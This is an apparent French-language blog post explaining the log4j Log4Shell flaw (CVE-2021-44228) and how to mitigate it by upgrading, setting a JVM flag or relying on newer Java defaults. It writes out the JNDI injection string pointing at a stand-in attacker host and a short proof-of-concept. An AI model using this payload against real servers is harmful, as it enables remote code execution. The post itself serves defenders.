Si vous avez une application en production utilisant log4j et comptiez passer un vendredi tranquille, c’est loupé ! Une faille 0-day vient d’être publiée touchant la version la plus récente de log4j du doux nom de CVE-2021–44228. Alors plongeons-nous dans cette faille et voyons quel est l’impact et comment fixer tout ça.
C'est quoi log4j
log4j est un utilitaire de logging principalement utilisé dans l’écosystème Java. Il s’agit probablement de l’utilitaire le plus populaire et l’un des plus utlisés dans les applications Java.
Son utilisation est très simple. Vous avez simplement à ajouter une dépendance à log4j et puis vous pouvez l’utiliser dans votre code comme ceci par exemple:
import org.apache.log4j.Logger;
/* More imports */
public class Log4JDemo {
private static final Logger log = Logger.getLogger(Log4JDemo.class.getName());
public static void main(String[] args)throws Exception {
log.info("Ceci est une ligne info");
log.error("Attention, une erreur vient de se produire !");
}
}
Vous pouvez aussi définir tout un tas de propriétés dans un fichier log4j.properties
pour décider de quel niveau de log vous voulez utiliser, dans quel fichier ces logs seront écrits, etc..
La faille CVE-2021-44228
La faille CVE-2021–44228 a été publiée ce vendredi matin et a eu l’effet d’une bombe. Elle impacte les versions jusqu’aux plus récentes (2.14.1) et permet aux attaqueurs d’injecter du code dans votre application.
Pour ce faire, il suffit à l’attaqueur de connaitre (ou deviner) des valeurs qui sont loggées dans votre application (par exemple, si vous loggez le nom d’utilisateur ou son user-agent lors d’une connexion réussie). Il lui suffira ensuite d’envoyer une chaine de caractères particulière qui ressemble à ${jndi:ldap://attacker.com/a}
. Lorsque log4j verra cette chaine de caractères, il essaiera de faire un appel vers ldap://attacker.com/a
afin de charger cette classe en mémoire (via le système JNDI) et l’exécuter. Comme vous le voyez, il s’agit d’une classe implémentée par l’attaqueur qui sera chargée et exécutée dans votre application.
Dans le POC fourni lors de la publication de la faille, le code de reproduction est aussi simple que ceci:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
Comment me protéger ?
J’espère que vous aurez compris que cette faille est très sérieuse et doit être corrigée au plus vite. Heureusement, plusieurs options s’offrent à vous.
La première approche et sans doute la plus sure est de mettre à jour votre système et utiliser la version 2.15 de log4j qui a été développée dans l’urgence par l’équipe en charge de log4j.
Une autre approche est de lancer votre application avec l’option -Dlog4j2.formatMsgNoLookups=true
. Ceci interdira à log4j de faire ses appels JNDI lorsqu’une chaine de caractères malicieuses est loggée.
Enfin, si vous utilisez des versions de Java plus récentes que 6u211
, 7u201
, 8u191
ou 11.0.1
, il semble que vous n’êtes pas impactés par cette attaque. En effet, dans ces versions, la valeur com.sun.jndi.ldap.object.trustURLCodebase
est fausse par défaut, ce qui empêche l’exécution de code via JNDI utilisant LDAP.
Dans tous les cas, si vous utilisez log4j, faites votre propre évaluation et prenez les mesures qui s’imposent. Les approches proposées ici ne sont que des suggestions et vous devriez faire des recherches plus approfondies en fonction de votre application avant de décider de l’approche à suivre.
Vous l’aurez compris, cette faille de sécurité peut avoir des effets désastreux. Donc n’attendez plus, et patchez vos systèmes ! J’espère que cette faille ne gâchera pas trop votre vendredi et que vous pourrez malgré tout passer un agréable week-end.
Pour plus d’informations sur cette faille: